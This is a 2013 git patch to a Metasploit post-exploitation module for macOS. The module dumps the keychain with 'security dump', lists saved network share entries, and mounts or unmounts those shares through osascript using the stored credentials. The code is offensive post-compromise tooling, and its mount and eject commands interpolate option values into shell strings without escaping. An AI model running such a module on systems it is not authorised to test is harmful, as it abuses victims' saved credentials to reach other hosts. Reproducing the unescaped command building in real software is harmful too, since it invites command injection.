From 0c096c10fb31eac1f04330c3a311344f9168f64b Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 17:03:38 +0100 Subject: [PATCH] Submitting first version for pull request --- modules/post/osx/manage/mount_share.rb | 72 +++++++++++++++++++------- 1 file changed, 53 insertions(+), 19 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index a48cda8d20..0cf1ac3415 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'OSX Network Share Mounter', 'Description' => %q{ - This module lists saved network shares and tries to connect to them using stored credentials. + This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges. }, 'License' => MSF_LICENSE, 'Author' => @@ -26,15 +26,15 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], - [ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ], - [ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ] + [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ], + [ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ] ], 'DefaultAction' => 'LIST' )) register_options( [ - OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']), + OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']), OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) @@ -46,37 +46,51 @@ class Metasploit3 < Msf::Post fail_with("Invalid action") if action.nil? if action.name == 'LIST' - data = get_share_list() - if data.length == 0 + saved_shares = get_share_list + if saved_shares.length == 0 print_status("No Network Share credentials were found in the keyrings") else + print_status("Network shares saved in keyrings:") print_status("Protocol\tShare Name") - data.each do |line| + saved_shares.each do |line| print_good(line) end end - elsif action.name == 'CONNECT' - connect() - elsif action.name == 'DISCONNECT' - connect_vpn(false) + mounted_shares = get_mounted_list + if mounted_shares.length == 0 + print_status("No volumes found in /Volumes") + else + print_status("Mounted Volumes:") + mounted_shares.each do |line| + print_good(line) + end + end + elsif action.name == 'MOUNT' + mount + elsif action.name == 'UNMOUNT' + unmount end end - def get_share_list() + def get_share_list vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") # Grep for desc srvr and ptcl - tmp = Array.new() - data.split("\n").each do |line| + tmp = [] + lines = data.lines + lines.each do |line| + line.strip! unless line !~ /desc|srvr|ptcl/ tmp.push(line) end end # Go through the list, find the saved Network Password descriptions # and their corresponding ptcl and srvr attributes - list = Array.new() + list = [] for x in 0..tmp.length-1 - if tmp[x] =~ /"desc"="Network Password"/ + if tmp[x] =~ /"desc"="Network Password"/ && x < tmp.length-3 + # Remove everything up to the double-quote after the equal sign, + # and also the trailing double-quote protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') list.push(protocol + "\t" + server) @@ -85,12 +99,32 @@ class Metasploit3 < Msf::Post return list.sort end - def connect() - share_name = datastore['SHARE'].shellescape - protocol = datastore['PROTOCOL'].shellescape + def get_mounted_list + vprint_status("ls /Volumes") + data = cmd_exec("ls /Volumes") + list = [] + lines = data.lines + lines.each do |line| + line.strip! + list << line + end + return list.sort + end + + def mount + share_name = datastore['VOLUME'] + protocol = datastore['PROTOCOL'] print_status("Connecting to #{protocol}://#{share_name}") cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" vprint_status(cmd) cmd_exec(cmd) end + + def unmount + share_name = datastore['VOLUME'] + print_status("Disconnecting from #{share_name}") + cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'" + vprint_status(cmd) + cmd_exec(cmd) + end end